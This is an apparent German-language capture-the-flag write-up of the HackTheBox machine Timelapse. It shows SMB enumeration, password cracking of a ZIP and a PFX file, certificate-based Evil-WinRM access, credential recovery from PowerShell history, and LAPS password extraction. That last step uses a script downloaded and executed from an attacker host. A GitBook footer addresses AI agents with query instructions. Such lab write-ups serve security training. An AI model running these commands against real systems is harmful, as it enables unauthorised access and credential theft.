> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # TimeLapse HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * SMB-Enumerierung * ZIP-passwortgeschützte Datei knacken (fcrackzip) * Knacken und Lesen einer .PFX-Datei (crackpkcs12) * SSL-Zugriff mit Evil-WinRM erhalten * Informationsleckage - Lesen des PowerShell-Verlaufs des Benutzers (User Pivoting) * LAPS missbrauchen, um Passwörter zu erhalten (Get-LAPSPasswords.ps1) (Privilegieneskalation) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Analyse offener Ports mit extractport:**/ Mit der extractport-Funktion offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

**Port- und Versionsscan mit Nmap :**/ Nmap verwenden, um Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Konfiguration der Datei /etc/hosts für die DNS-Auflösung.

## **Auflistung und Ausnutzung:** ### Den Computernamen und die Domäne identifizieren Verwendung von CrackMapExec, um den Namen des Computers und seine Domäne zu identifizieren. ```bash crackmapexec smb 10.10.11.152 ```

### Freigegebene Dateien mit SMB auflisten: Verwendung von smbclient und smbmap, um freigegebene Dateien aufzulisten. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Zugriff auf den freigegebenen Ordner und Entdeckung einer passwortgeschützten ZIP-Datei** Erkundung und Identifizierung von Dateien im freigegebenen Ordner, wobei eine geschützte ZIP-Datei entdeckt wurde. ```bash smbclient //10.10.11.152/Shares -N ```

### **ZIP-Datei mit fcrackzip knacken** Verwendung von fcrackzip, um zu versuchen, das Passwort der ZIP-Datei zu finden. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Extraktion aus der .PFX-Datei**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **PFX-Dateipasswort knacken:** #### Um das Passwort einer pfx-Datei zu knacken, wird das Tool crackpkcs12 verwendet. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Privaten Schlüssel und Zertifikat aus der PFX-Datei erhalten** Wiederherstellung des privaten Schlüssels

Wiederherstellung des Zertifikats ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **SSL-Verbindung mit Evil-WinRM unter Verwendung des privaten Schlüssels und Zertifikats**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Erste Flagge abrufen** Die erste Flagge, "user.txt", erhalten

## Privilegieneskalation: **Liste der DC-Benutzer und Berechtigungen mit net users und whoami /priv** Identifizierung der Benutzer und Berechtigungen auf dem Domänencontroller.

#### **Analyse der Benutzergruppen und Entdeckung der Benutzerzugehörigkeit "svc/ deploy" in der Gruppe "LAPS/ Readers"**

#### **Benutzerpasswort "svc/ deploy" durch Auslesen des PowerShell-Verlaufs erhalten** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Passwortvalidierung mit CrackMapExec** Bestätigung der Passwortgültigkeit, ermittelt mit CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Anmeldung bei Evil-WinRM unter Verwendung der Benutzeranmeldeinformationen "svc/ deploy"** Verbindung zum entfernten System mit den Benutzeranmeldeinformationen "svc/ deploy" über Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Verwendung von Get-LAPSPasswords zum Extrahieren von Passwörtern** {% embed url="" %} #### **Das Skript Get-LAPSPasswords herunterladen** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Skriptausführung und Wiederherstellung administrativer Passwörter**

### **Überprüfung des Administrationspassworts mit CrackMapExec** Bestätigung der Passwortgültigkeit, ermittelt mit CrackMapExec vom Benutzer Administrator. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Endverbindung mit Evil-WinRM unter Verwendung der Administrator-Anmeldedaten** Abschließende Verbindung zum System mit administrativen Anmeldeinformationen über Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **Endgültige Flagge erhalten :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.